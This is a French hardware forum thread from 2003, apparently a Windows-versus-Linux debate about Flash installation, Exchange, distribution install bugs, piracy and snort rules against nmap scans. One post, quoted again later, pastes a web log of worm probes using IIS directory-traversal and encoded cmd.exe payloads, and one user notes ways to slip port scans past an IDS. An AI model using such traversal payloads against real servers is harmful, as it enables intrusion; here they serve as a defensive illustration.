Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
1330 connectés 

 


 Mot :   Pseudo :  
 
 Page :   1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20
Auteur Sujet :

Windows I - I Linux

n°1235586
zeb_
Posté le 29-07-2003 à 16:37:42  profilanswer
 

Reprise du message précédent :

TRON20 a écrit :


et ta mere (ss la moindr agression) elle fait comment quand l'animation flash ne marche pas ?
 
Moi la mienne (c du vecu d'ailleur) elle clique sur faire confiance a Microsoft corp , et elle voit l'animation ..ss mozilla elle fait comment ? (on le sait tous ...)


 
Eh bien la mienne ne serait pas capable d'installer Flash sous Windows non plus, alors... Bien evidemment qu'elle utilise un systeme Linux preconfigure avec Flash (oui il existe sous Linux), comme le font 95% des gens qui achetent des machines Windows d'ailleurs. Faut arreter de croire que sous Win c'est plus facile. Non sous Mandrake, tu ne double-clique pas, mais tu as ca (et en francais...):
 
http://idisk.mac.com/plavigna/Publ [...] d15-hi.png  
 
Une belle liste, avec toutes les descriptions, avec un systeme de recherche (par ex Flash) et ca s'installe tout seul (et encore ceci est une vieille version, la nouvelle est plus conviviale, avec des groupes, etc...) Faut arreter de croire que c'est pas moderne. Bien au contraire, l'installation est beaucoup plus propre que sous Win.
Voir : http://www.trylinuxsd.com
 
D'autre part, voila un mauvais exemple, si tu ouvres dans Mozilla une page qui a besoin de Flash, ca se passe comme sous Win : tu es redirige vers la page de telechargement de Macromedia, et c'est la bonne page (Flash pour Linux).


Message édité par zeb_ le 29-07-2003 à 16:41:37
mood
Publicité
Posté le 29-07-2003 à 16:37:42  profilanswer
 

n°1235592
zeb_
Posté le 29-07-2003 à 16:43:36  profilanswer
 

Tiens pour Flash, regarde la en 3 étapes (et tout en cliquant) :
 
http://www.trylinuxsd.com/mozilla/pages/mozilla38.html
(et encore, c'est l'ancienne methode, maintenant tu peux utiliser celle-la ou le software installer que je montre plus haut)
 
Ouh la la c'est beaucoup plus dur que sous Win...


Message édité par zeb_ le 29-07-2003 à 16:48:37
n°1235594
spice di c​onass
totalement anticonformiste!!
Posté le 29-07-2003 à 16:46:14  profilanswer
 

JoWiLe a écrit :


 
tout dépend du paquet qu'envoie nmap pour effectuer son scan
 
 
si c'est du scan FIN, XMAS ou NULL, tu peux facilement dans iptables mettre une règle de drop, donc dans le cas d'un scan ton port sera stealth
 
d'ailleurs snort propose aussi des détection avancées (et blocages) de scans
 
 
maintenant, un scan ça peut très bien être l'envoie d'un simple paquet SYN, de 340 octets... ou au contenu spécifique
 
bref, essaie de scanner un de tes pc avec un autre, et regarde avec tcpdump la gueule qu'ont les paquets, pour ensuite activer les filtres appropriés dans snort et déclencher un blocage du paquet le cas échéant


 
ok je te remercie je vais essayer ca.
ca serait sympa au niveau securité: vu le nombre de scan que subit une entreprise, elle eviterai pas mal de tentative de piratage si jamais son port 80 réagissait comme étant stealth à toutes les requêtes suspectes....  :sol:

n°1235599
El Pollo D​iablo
REACHED THE END OF CAKE
Posté le 29-07-2003 à 16:49:37  profilanswer
 

JoWiLe a écrit :

donc personne peut me dire ce qu'apporte Exchange :??:
 
:sweat:


 
Serveur POP/IMAP/SMTP et intégration AD donc, mais aussi MAPI (le truc proprio de Krosoft), serveur IRC, gestion de dossiers publics outlook (pour les news internes, des contacts communs etc...), serveur de messagerie instantanée (messenger), Outlook Web Acccess (un webmail +++ qui reprend l'interface et la plupart des fonctions d'Outlook, avec Exchange 2003 c'est :love: ), gestion des informations de présence, clustering, gestion front-end back-end, et pour la version 2003 grosse ouverture vers les acces mobile (compatible Wap, imode, et bien sur pocketpc et smart phone).

n°1235600
tron20
Posté le 29-07-2003 à 16:50:59  profilanswer
 

spice di conass a écrit :


 
ok donc en fait je dois construire une règle qui fait que, par exemple, lors d'un scan d'un outil NMAP le port 80 apparaisse comme stealth. tant qu'il n'est pas contacté par une requête valide, il apparaitra comme cache... c'est pas trop tendu ?  :D  


c impossible a detecter un bon scan de port , car on peut jouer sur la frequence d'envoi des flags, et aussi sur l'order de test des ports ... bref un ids ne pas connaitre toutes les impreinte de toutes les methodes de scann !!
 
surtout si tu tombes sur un as du nmap ..


---------------
Asrock conroe 945g-dvi
n°1235601
spice di c​onass
totalement anticonformiste!!
Posté le 29-07-2003 à 16:51:10  profilanswer
 

JoWiLe a écrit :

j'ai pas accès ssh au boulot, mais tu peux chercher y a des règles snort un peu partout sur le net pour des problèmes divers
 
 
sous debian les defaults-rules incluent même des détections de nimda si je me souviens bien, y a juste à les décommenter
 
 
et en plus snort 2 vient de sortir :)


 
;) justement j'ai la 2 actuellement sur ma debian et sur ma passerelle ipcop..
mais j'ai pas trop trifouille les regles...
je le ferais d'ici peu  :jap:


Message édité par spice di conass le 29-07-2003 à 16:54:28
n°1235606
spice di c​onass
totalement anticonformiste!!
Posté le 29-07-2003 à 16:54:04  profilanswer
 

TRON20 a écrit :


c impossible a detecter un bon scan de port , car on peut jouer sur la frequence d'envoi des flags, et aussi sur l'order de test des ports ... bref un ids ne pas connaitre toutes les impreinte de toutes les methodes de scann !!
 
surtout si tu tombes sur un as du nmap ..


 
oui c'est vrai je suis tout a fait d'accord (je connais pas trop mal NMAP...) mais bon si déjà t'en enlève 90 % qui utilise du FIN XMAS que tu commence à faires des règles snort sur les decoy etc.... (bon clair que t'y passe du temps..) ben je pense que ca va éviter pas mal de tentatives d'intrusion...

n°1235611
tron20
Posté le 29-07-2003 à 16:56:29  profilanswer
 

spice di conass a écrit :


 
oui c'est vrai je suis tout a fait d'accord (je connais pas trop mal NMAP...) mais bon si déjà t'en enlève 90 % qui utilise du FIN XMAS que tu commence à faires des règles snort sur les decoy etc.... (bon clair que t'y passe du temps..) ben je pense que ca va éviter pas mal de tentatives d'intrusion...


:jap:, je connais pas assez snort.


---------------
Asrock conroe 945g-dvi
n°1235614
spice di c​onass
totalement anticonformiste!!
Posté le 29-07-2003 à 16:58:50  profilanswer
 

TRON20 a écrit :


:jap:, je connais pas assez snort.


 
moi non plus remarque.. je l'ai installer et je regarde les logs.. je me suis pas attaqué au règles... mais apparemment ca devrait etre faisable  :jap:

n°1235629
farib
Posté le 29-07-2003 à 17:17:38  profilanswer
 

JoWiLe a écrit :


 
ouaip, y a forcément des scans impossibles à détecter
 
 
en revanche, tu peux facilement te protéger contre les virus qui essaient d'exploiter des failles sur tes IIS


 
Ca faisait pas 10 minutes que j'avais ouvert le port 80 sur mon fw
 
désolé pour l'ip, mais vo que le monde sache que c'est un boulet
 
 
 


81.57.145.53 - - [28/Jul/2003:15:47:09 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 276
81.57.145.53 - - [28/Jul/2003:15:47:09 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 317
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 317
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
81.57.145.53 - - [28/Jul/2003:15:47:11 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
81.57.145.53 - - [28/Jul/2003:15:47:11 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
81.57.145.53 - - [28/Jul/2003:15:47:11 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283
81.57.145.53 - - [28/Jul/2003:15:47:11 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283  
81.57.145.53 - - [28/Jul/2003:15:47:11 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 30

mood
Publicité
Posté le 29-07-2003 à 17:17:38  profilanswer
 

n°1235630
El Pollo D​iablo
REACHED THE END OF CAKE
Posté le 29-07-2003 à 17:18:15  profilanswer
 

JoWiLe a écrit :


 
 
ok, un joli sac à merde multi fonctions qui sert à rien quoi :/


 
Je croyais que le topic etait troll-free, tu connais meme pas le soft et tu le juge sur une description tres partielle de 3 lignes.
Sin ton besoin c'est du pop ou de l'imap, c'est sur ca te sert a rien  :sarcastic: Exchange c'est du groupware, pas de la juste de la messagerie, la plupart des fonctions sur tres utiles et font gagner un temps fou dans beaucoup d'entreprises.

n°1235634
freds45
Posté le 29-07-2003 à 17:23:12  profilanswer
 

El Pollo Diablo a écrit :


 
Je croyais que le topic etait troll-free, tu connais meme pas le soft et tu le juge sur une description tres partielle de 3 lignes.
Sin ton besoin c'est du pop ou de l'imap, c'est sur ca te sert a rien  :sarcastic: Exchange c'est du groupware, pas de la juste de la messagerie, la plupart des fonctions sur tres utiles et font gagner un temps fou dans beaucoup d'entreprises.


 
Clair, je connaissais pas, et la boîte dans laquelle je fais mon stage utilise ça, pour la messagerie, l'annuaire, les réunions etc... C'est super pratique :love:


---------------
Filmstory : gardez trace des films que vous avez vu ! :D
n°1235645
El Pollo D​iablo
REACHED THE END OF CAKE
Posté le 29-07-2003 à 17:31:42  profilanswer
 

JoWiLe a écrit :

je sais ce que c'est, y a un exchange dans ma boite et je suis dessus en ce moment
 
idem pour l'owa
 
mais concrètement, les fonctions avancées de synchro et les histoire de présence, personne s'en sert


 
Ben c'est dommage, ca peut etre vraiment utile, c'est sur que si y'a pas de volonté de responsables de mettre ca en place, c'est pas les users qui vont changer leurs habitudes tout seull pour s'y mettre.
 

Citation :

quant à la synchro avec les pda, pas besoin d'exchange pour ça


 
Sauf que la y'a plus besoin de faire ca depuis en poste en particulier, c'est direct entre le PDA et le server.
 
 

Citation :

exchange ça m'a l'air d'un méga fourre tout incompatible avec tout le reste, histoire de mieux asseoir un monopole :/


 
C'est completement faux mais bon... Le pop, l'imap, le smtp, l'IRC, le http et le nntp c'est pas franchement proprio, le MAPI n'est pas obligatoire et n'est pas si fermé que ca (on peut meme acceder a un serveur exchange en mapi depuis linux avec evolution).  
 

Citation :

enfin ça a l'avantage de gérer serverside des trucs sympas, mais que tu pourrais très bien gérer en local

 
 
C'est a dire ?

n°1235671
Krapaud
Modérateur
Posté le 29-07-2003 à 17:56:15  profilanswer
 

JoWiLe a écrit :

je sais ce que c'est, y a un exchange dans ma boite et je suis dessus en ce moment
 
idem pour l'owa
 
mais concrètement, les fonctions avancées de synchro et les histoire de présence, personne s'en sert
 
quant à la synchro avec les pda, pas besoin d'exchange pour ça
 
 
exchange ça m'a l'air d'un méga fourre tout incompatible avec tout le reste, histoire de mieux asseoir un monopole :/
 
enfin ça a l'avantage de gérer serverside des trucs sympas, mais que tu pourrais très bien gérer en local


 
ne pousse pas trop loin.

n°1235782
Jef34
Je ferai mieux demain
Posté le 29-07-2003 à 19:31:13  profilanswer
 

farib a écrit :


 
Ca faisait pas 10 minutes que j'avais ouvert le port 80 sur mon fw
 
désolé pour l'ip, mais vo que le monde sache que c'est un boulet
 
 
 


81.57.145.53 - - [28/Jul/2003:15:47:09 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 276
81.57.145.53 - - [28/Jul/2003:15:47:09 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 317
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 317
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
81.57.145.53 - - [28/Jul/2003:15:47:10 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
81.57.145.53 - - [28/Jul/2003:15:47:11 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
81.57.145.53 - - [28/Jul/2003:15:47:11 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
81.57.145.53 - - [28/Jul/2003:15:47:11 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283
81.57.145.53 - - [28/Jul/2003:15:47:11 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283  
81.57.145.53 - - [28/Jul/2003:15:47:11 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 30

 


 
Tu voulais dire quoi par là... Sans attaque, j'ai pas compris l'objectif de ton post.

n°1235783
Jef34
Je ferai mieux demain
Posté le 29-07-2003 à 19:33:11  profilanswer
 

Pour ceux qui sous estime Windows quant à sa possibilité d'exécuter des scripts. Recherche Google et Microsoft WMI (Windows Management Instrumentation).
 
Je rappelle qu'avec Windows 2003 l'objectif de MS est le tout scriptable.

n°1235784
Jef34
Je ferai mieux demain
Posté le 29-07-2003 à 19:34:03  profilanswer
 

JoWiLe a écrit :

je sais ce que c'est, y a un exchange dans ma boite et je suis dessus en ce moment
 
idem pour l'owa
 
mais concrètement, les fonctions avancées de synchro et les histoire de présence, personne s'en sert
 
quant à la synchro avec les pda, pas besoin d'exchange pour ça
 
 
exchange ça m'a l'air d'un méga fourre tout incompatible avec tout le reste, histoire de mieux asseoir un monopole :/
 
enfin ça a l'avantage de gérer serverside des trucs sympas, mais que tu pourrais très bien gérer en local


 
Continue à trifouiller dedans... T'as encore des choses à découvrir.

n°1235796
tron20
Posté le 29-07-2003 à 19:47:43  profilanswer
 

Jef34 a écrit :

Pour ceux qui sous estime Windows quant à sa possibilité d'exécuter des scripts. Recherche Google et Microsoft WMI (Windows Management Instrumentation).
 
Je rappelle qu'avec Windows 2003 l'objectif de MS est le tout scriptable.
 


:jap: , l'essayer ce 2003 c l'adopter !!


---------------
Asrock conroe 945g-dvi
n°1235797
Jef34
Je ferai mieux demain
Posté le 29-07-2003 à 19:48:40  profilanswer
 

TRON20 a écrit :


:jap: , l'essayer ce 2003 c l'adopter !!


 
I'm on it  ;)

n°1235799
El Pollo D​iablo
REACHED THE END OF CAKE
Posté le 29-07-2003 à 19:53:09  profilanswer
 

Jef34 a écrit :

Pour ceux qui sous estime Windows quant à sa possibilité d'exécuter des scripts. Recherche Google et Microsoft WMI (Windows Management Instrumentation).
 
Je rappelle qu'avec Windows 2003 l'objectif de MS est le tout scriptable.
 


 
Y'a meme des rumeurs qui disent que Microsoft preparerait une version spéciale de 2003 uniquement ligne de commande, sans interface graphique.

n°1235854
Profil sup​primé
Posté le 29-07-2003 à 21:00:09  answer
 

comparaison?
 
ben il arrive souvent que le setup d'install de l'os plante pour linux (redhat8/mandrakechépukoa) alors que ca ne me l'a jamais fait pour windows :o

n°1235866
tron20
Posté le 29-07-2003 à 21:09:23  profilanswer
 

SirJeannot a écrit :

comparaison?
 
ben il arrive souvent que le setup d'install de l'os plante pour linux (redhat8/mandrakechépukoa) alors que ca ne me l'a jamais fait pour windows :o


 
avec redhat je vais etre assez mechant,
 
Sur la 8. et la 9. tu choisis clavier  FR et qd tu saisi ton password root, en fin d'install, le clavier est tjs en US .... je te laisses imaginer la galere pour te connecter la premiere fois !!!!
 
idem le support utf8 (accent donc )  ne marche fau t bidouiller un fichier ... ca c pas pro !!
 
 
heureusement que le reste suis  


---------------
Asrock conroe 945g-dvi
n°1235876
BenJ9002
Posté le 29-07-2003 à 21:21:55  profilanswer
 

Comme d'autres, je voudrais apporter ma modeste expérience.
 
J'ai essayé linux il y a déja 2 ans (mandrake 8.1) et je n'ai pas été convaicu du tout (un manque de temps et de motivation alors m'as fait renoncer à le garder sur mon ordi)
Retentative aux environs de janvier avec une mandrake 9, et là déjà, ça allait mieux, mais je suis retourné sous mon windows habituel après un mois d'alternance en me disant que je profiterais de mes prochaines vacances pour m'y mettre bien.
 
3e tentative, mais cette fois pour monter un petit serveur web, et là, j'ai pas été déçu du tout :love: tout est configurable à distance, les scripts php qui sont 2 fois plus rapide que sous windows (avec la meme machine), et ça sans trop galérer (à force la  facon de fonctionner de linux commence à venir :D )
Donc pour moi, linux pour un serveur web, y a pas photo (les autres serveurs, je me prononcerai pas, je connais pas) si ça peut en motiver d'autres, c'est pas compliqué, faut pas croire ce qui est raconté généralement ;)  
 
J'ai plus qu'a prendre mon courage à 2 mains et à me motiver pour passer à linux pour mon utilisation de tous les jours (web, mails, bureautique), mais en gardant une petite partition windows notamment pour les rares jeux auquels je joue.
 
A suivre ;)


---------------
Le topic des plongeurs  |  Le topic du routeur D-Link DSL-604+
n°1236052
Profil sup​primé
Posté le 30-07-2003 à 03:25:25  answer
 

j'ai commencé à la redhat 5.0 [:spamafote]
 
ca ne motive toujours pas plus que ca :o

n°1236081
AlphaT
Posté le 30-07-2003 à 08:23:49  profilanswer
 

SirJeannot a écrit :

j'ai commencé à la redhat 5.0 [:spamafote]
 
ca ne motive toujours pas plus que ca :o


 
y a pas juste Red Hat
 
moi j'ai commencé par Mandrake 7.0 ensuite Red Hat 7, Debian 2.2r2, Slackware 8.0, Slackware 9, Arch Linux et enfin Crux Linux.

n°1236212
Jef34
Je ferai mieux demain
Posté le 30-07-2003 à 11:36:54  profilanswer
 

Ben je me rapelle d'une install de Linux...
 
J'installe ma Mandrake, tranquil, je recompil mon noyau pour la prise en charge du NTFS et d'autres truc sympa.
Mon linux est au top. J'adore.
 
Je reboot le lendemain sous Windows pour regarder un Dvd, pas de prob. Je branche ma télé à la sortie de ma Radeon, Windows démarre ding dong, nouveau matériel détecté nickel. J'envoie le flux sur la télé.
 
Dans la soirée, je me dis que je ne vais pas m'arreter en si bon chemin. Back to linux et là. Boot, puis pendant le démarrage je me tape un Kernel Panic.
 
Qui n'a jamais vu Windows planter pendant un boot. Ca arrive. Allez second chance. Reboot -> Kernel Panic.
 
J'ai fait quelques diagnistiques, RAS.
Allez on réinstall. L'install démarre, linux s'install etc...
Fin d'install, démarrage de Linux -> Kernel Panic.
 
Après 2j de galère à chercher dans ma tour ce qui l'avait rendu incompatible avec Linux, je jette un coup d'oeil derrière et...
 
je vois le cable RCA de la télé, branché sur ma CG.
Je débranche à Linux démarre.
 
Ce jour là, je me suis dis que Linux a encore des progrès à faire en terme de détection de matériel. Et pour cause, le PnP et linux sous Mandrake 8... c'est pas trop ca.
 
Now des efforts ont été fait. A voir.
 
Cependant, j'ai un server sous Linux qui fait passerelle + snort + proxy... j'en suis très content.
 
 
 

n°1236271
kazekami
J'aime pas les gens
Posté le 30-07-2003 à 12:17:05  profilanswer
 

TRON20 a écrit :


 
avec redhat je vais etre assez mechant,
 
Sur la 8. et la 9. tu choisis clavier  FR et qd tu saisi ton password root, en fin d'install, le clavier est tjs en US .... je te laisses imaginer la galere pour te connecter la premiere fois !!!!
 
idem le support utf8 (accent donc )  ne marche fau t bidouiller un fichier ... ca c pas pro !!
 
 
heureusement que le reste suis  
 


 
la 8.0 n'avait pas de problème de ce genre là à l'install
il faut bien préciser aussi que le clavier est en français au lancement e l'OS, y'a que sous l'install que ca merde (possibilité de confusion dans ton post)
 
et le support UTF-8 merdait à fond c'est clair dans la 8.0, sur la 9 c'est déjà beaucoup plus propre (juste un petit bug dans KDE sur des carrès à la place de retours chariots dans les interfaces de kcontrol ou konqueror)
 
et puis si RedHat n'innovait pas dans ce sens là (UTF-8, NTPL, etc...), l'adoption de ce genre de technologies seront peut être plus longs


Message édité par kazekami le 30-07-2003 à 12:19:51

---------------
Self Destruction Might Be The Answer - http://www.kazekami.org
n°1236328
zeb_
Posté le 30-07-2003 à 13:15:55  profilanswer
 

Jef34 a écrit :


 
Ce jour là, je me suis dis que Linux a encore des progrès à faire en terme de détection de matériel. Et pour cause, le PnP et linux sous Mandrake 8... c'est pas trop ca.


 
Oui, il y a des problemes, mais le truc c'est que t'attends pas 3 ans pou qu'ils soient resolus. Entre la 8 et la 9.2, il y a enormement de differences : le noyau a evolue, XFree aussi, et donc le crash que tu observais est probablement resolu. Ce n'est pas le rythme du soft proprio, ou chaque amelioration est lentement distillee pour faire payer des nouvelles licences qui apportent peu de choses.
Tu devrais reessayer pour voir, la 9.1 ou la 9.2 beta 2 quand elle sortira (la beta 1 marche mais a des problemes, normal pour une premiere beta).

n°1236452
Rasthor
Posté le 30-07-2003 à 15:51:08  profilanswer
 

zeb_ a écrit :

Tu devrais reessayer pour voir, la 9.1 ou la 9.2 beta 2 quand elle sortira (la beta 1 marche mais a des problemes, normal pour une premiere beta).


 
Question un peu HS: ceux qui ont la MDK9.1 pourront facilement passer a la 9.2beta2 avec le programme urpmi en faisant juste l'update ?

n°1236470
Alana
Amiga for ever.
Posté le 30-07-2003 à 16:11:53  profilanswer
 

Citation :


Qui n'a jamais vu Windows planter pendant un boot. Ca arrive. Allez second chance. Reboot -> Kernel Panic


Ca c'est une difererence entre Windows et linux...
Quand un truc plante sous linux, il suffit pas de rebboter
pour que ca reparte comme avant  :D Y a pas ce coté un peu
aleatoire... Si ca fonctionne ca fonctionne, et quand ca marche
pas, ca marche pas :)

n°1236599
Profil sup​primé
Posté le 30-07-2003 à 18:00:22  answer
 

farib a écrit :


 
Concernant l'achat de XP, c'est ce que je dis.
 
On en peut pas nier l'effet du piratage sur la domination. Mieux vau tun étudiant qui se forme aux produits Microsoft ( ou touts autes) qui une fois utilisateur ou décideur dans uen entreprise achètera les produits qu'il maîtrise ou connait.
 
 
Prenons l'exemple de 3DSmax. Ca vaut 50 000 boules.  Pour un particulier c'est evidemment hors de prix. Il va se trouver sa version pirate, se faire ses mods pour Battlefield, se faire, la min, et sur son CV il marquera "3DSMax". Ou comment péreniser le produit.


 
il y a des prix etudiants pour une centaine d'euro :o

n°1236622
mikala
Souviens toi du 5 Novembre...
Posté le 30-07-2003 à 18:21:29  profilanswer
 

pti vampire a écrit :


 
il y a des prix etudiants pour une centaine d'euro :o


Sauf qu'a mon humble avis un étudiant mettra rarement 100 ? ou plus dans un OS :/
(ceci dit je me suis inscris hier au club mandrake [:cupra]
Rasthor> tu as une option pour upgrader tes packets avec le cd d'install ,apres il est peut etre possible de tout upgrader en passant par la cooker (lorsque cooker est freeze ) , mais bon il n'y a pas (a ma connaissance du moins &  c'est dommage ) la meme facilité que par exemple debian pour upgrader sa distribution , en changeant simplement les sources .  

n°1236675
kadreg
profil: Utilisateur
Posté le 30-07-2003 à 19:34:35  profilanswer
 

Mikala a écrit :


Sauf qu'a mon humble avis un étudiant mettra rarement 100 ? ou plus dans un OS :/


 
Quand on viens de mettre 10 à 20 fois plus dans un PC, c'est mégotter pour des conneries [:spamafote]


---------------
brisez les rêves des gens, il en restera toujours quelque chose...  -- laissez moi troller sur discu !
n°1236850
JerryCrazy
Le plus crazy des crazy
Posté le 30-07-2003 à 22:55:40  profilanswer
 

kadreg a écrit :


 
Quand on viens de mettre 10 à 20 fois plus dans un PC, c'est mégotter pour des conneries [:spamafote]

et que pour ce PC,tu as economiser pendant 1 an et demi... je crois pas que tu veuille du materiel moyen gamme juste pour mettre un peu plus dans l'OS,désolé mais je vois mal un lycéen lacher 100 ou 200? pour un OS...
 
et puis,les licenses etudiant,c'est bien,mais quand t'es plus etudiant,ta license est illegal,bonjour l'ambiance...


---------------
JerryCrazy - My Digital Life - Ferrovia.be - Jeux Linux
n°1236859
El Pollo D​iablo
REACHED THE END OF CAKE
Posté le 30-07-2003 à 23:05:35  profilanswer
 

JerryCrazy a écrit :

et que pour ce PC,tu as economiser pendant 1 an et demi... je crois pas que tu veuille du materiel moyen gamme juste pour mettre un peu plus dans l'OS,désolé mais je vois mal un lycéen lacher 100 ou 200? pour un OS...


 
C'est bien ce qu'on dit, vu qu'il n'y a pas le choix ca ne derange pas de claquer des sommes folles pour avoir le matos dernier cris, qui sera depassé dans 6 mois, alors que pour les softs, tout le monde s'accomode tres bien du piratage, mais je pense pas que les ingenieurs de chez Microsoft ai moins besoin de manger ou de payer des loyers que ceux de chez Nvidia ou Intel.
Dans un monde ou le piratage serait impossible, les lycéens et les autres les trouverais les 100 ou 200? pour un OS, fait moi confiance, par exemple a n'achetant pas de graveur DVD a + de 200? ;)

n°1236862
JerryCrazy
Le plus crazy des crazy
Posté le 30-07-2003 à 23:11:16  profilanswer
 

El Pollo Diablo a écrit :


 
C'est bien ce qu'on dit, vu qu'il n'y a pas le choix ca ne derange pas de claquer des sommes folles pour avoir le matos dernier cris, qui sera depassé dans 6 mois, alors que pour les softs, tout le monde s'accomode tres bien du piratage, mais je pense pas que les ingenieurs de chez Microsoft ai moins besoin de manger ou de payer des loyers que ceux de chez Nvidia ou Intel.
Dans un monde ou le piratage serait impossible, les lycéens et les autres les trouverais les 100 ou 200? pour un OS, fait moi confiance, par exemple a n'achetant pas de graveur DVD a + de 200? ;)
 

[:proy] j'peu sortir mes 2 billets de 500?,puisque je veux Windows XP Pro et Windows 2000 Pro  :sweat: malheureusement,il faudrais que j'arrete de manger et que je pique les portes feuilles des petites vieille (bourge :D) pour ca...  [:proy]


---------------
JerryCrazy - My Digital Life - Ferrovia.be - Jeux Linux
n°1236872
El Pollo D​iablo
REACHED THE END OF CAKE
Posté le 30-07-2003 à 23:22:26  profilanswer
 

JerryCrazy a écrit :

[:proy] j'peu sortir mes 2 billets de 500?,puisque je veux Windows XP Pro et Windows 2000 Pro  :sweat: malheureusement,il faudrais que j'arrete de manger et que je pique les portes feuilles des petites vieille (bourge :D) pour ca...  [:proy]  


 
Si quand tu avais acheté on PC tu avais prévus un budget OS, ou economisé 2 mois de plus, t'aurais pas ce soucis actuellement non ?
Je sais de quoi je parle croix-moi, je taffe dans une boite  qui fait de l'assemblage, des PC a + de 2000? acheté sans OS par des etudiants, ou payé par papa-maman a des collegiens ou lycéens (qui ont rajoutés 200? de leurs poches pour le graveur de DVD), j'en vois toutes les semaines, et quand ils reviennent en SAV je t'assure qu'il n'y a pas Linux dessus.
J'irais meme plus loin, proportionellement y'a beaucoup plus de piratage d'OS sur les machines de power-users et autres hardcore-gamers a 2000? que sur celle a 1000? que se paient difficilement certains...

n°1236938
udok
La racaille des barbus ©clémen
Posté le 31-07-2003 à 03:10:58  profilanswer
 

le power user ne ramene pas sa machine au service après vente, voyons ...  :sarcastic:


---------------
Non au projet de loi DADVSI ! (droits d'auteurs)
n°1236941
El Pollo D​iablo
REACHED THE END OF CAKE
Posté le 31-07-2003 à 03:29:46  profilanswer
 

udok a écrit :

le power user ne ramene pas sa machine au service après vente, voyons ...  :sarcastic:  


 
Yep, des qu'une piece lache, meme si elle sous garantie, il la jette et court s'acheter le dernier modèle qui va rendre jaloux tout ses potes a la prochaines LAN, en utilisant pour payer la cagnotte qu'il se faisait depuis 5 ans pour enfin pouvoir s'acheter sa licence  Windows. C'est pas de chance pour Microsoft que le matos soit si peu fiable de nos jours :D


Message édité par El Pollo Diablo le 31-07-2003 à 03:30:08
n°1236967
Krapaud
Modérateur
Posté le 31-07-2003 à 08:31:00  profilanswer
 

sisi, va falloir veiller à éviter ça.

n°1236970
farib
Posté le 31-07-2003 à 08:47:47  profilanswer
 

El Pollo Diablo a écrit :


 
Si quand tu avais acheté on PC tu avais prévus un budget OS, ou economisé 2 mois de plus, t'aurais pas ce soucis actuellement non ?
Je sais de quoi je parle croix-moi, je taffe dans une boite  qui fait de l'assemblage, des PC a + de 2000? acheté sans OS par des etudiants, ou payé par papa-maman a des collegiens ou lycéens (qui ont rajoutés 200? de leurs poches pour le graveur de DVD), j'en vois toutes les semaines, et quand ils reviennent en SAV je t'assure qu'il n'y a pas Linux dessus.
J'irais meme plus loin, proportionellement y'a beaucoup plus de piratage d'OS sur les machines de power-users et autres hardcore-gamers a 2000? que sur celle a 1000? que se paient difficilement certains...


2000? payé par papa maman, ils sont généreux quand même les papa-maman. A 1000? on a quelque chose de bien suffisant, au dela c direct le p4 3.3 et la GFX 5900 Ultra....avec le prix en croissance exponentielle.

mood
Publicité
Posté le   profilanswer
 

 Page :   1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20

Aller à :
 

Sujets relatifs
Appliquer plusieurs patch d'un coup sur Windows XPpb affichage sous windows Xp pro
